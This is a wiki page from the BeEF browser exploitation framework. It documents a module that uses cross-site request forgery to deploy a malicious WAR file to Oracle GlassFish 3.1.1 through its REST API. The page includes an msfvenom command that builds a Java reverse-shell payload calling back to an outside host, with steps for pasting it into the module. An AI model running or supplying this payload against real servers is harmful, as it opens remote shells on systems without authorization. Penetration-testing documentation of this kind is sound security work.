Skip to content

Module: GlassFish WAR Upload XSRF

Jump to bottom
Haoxi Tan edited this page Jan 9, 2020 · 2 revisions

Summary

  • Objective: Deploys a malicious WAR file on an Oracle GlassFish Server 3.1.1

  • Authors: Bart Leppens

  • Browsers: Firefox, Safari, Chrome

  • Code

Internal Working

sends a POST request with the WAR file encoded as base64 data to the REST API endpoint of GlassFish

/management/domain/applications/application

The default file uploaded is just a "hello world" war file. To upload an actual useful payload, one can use ysoserial (https://github.com/frohoff/ysoserial) or msfvenom

e.g. msfvenom -p java/shell_reverse_tcp LHOST=1.2.3.4 LPORT=8888 -f war > payload.war

Then encode the .war file with base64 and paste it into the "Base64 of Exploit" field.

Feedback

User Guide

I. Introduction   |   II. Basic Utilization   |   III. Advanced Utilization   |   IV. Development   |   V. References

Community

Blog   |   Code   |   Youtube   |   Twitter

I - Starting BeEF

  1. Introducing BeEF
  2. Installation
  3. Basics
  4. Troubleshooting

II - Basic Utilization

  1. Configuration
  2. Interface
  3. Information Gathering
  4. Social Engineering
  5. Network Discovery
  6. Metasploit
  7. Tunneling
  8. XSS Rays
  9. Persistence
  10. Creating a Module
  11. Geolocation
  12. Using-BeEF-With-NGROK

III - Advanced Utilization

  1. RESTful API
  2. Autorun Rule Engine
  3. Notifications
  4. Console
  5. WebRTC Extension

IV - Development

  1. Contributing
  2. ActiveRecord
  3. Development Organization
  4. Architecture
  5. BeEF Javascript API
  6. Step By Step Module Creation
  7. Creating a New Extension
  8. BeEF Testing
  9. Browser & OS Compatibility
  10. Database Schema
  11. Development Milestones
  12. Command Module Config
  13. Command Module API

V - References

  1. FAQ
  2. Other
  3. References
  4. Modules
  5. Release Notes
Clone this wiki locally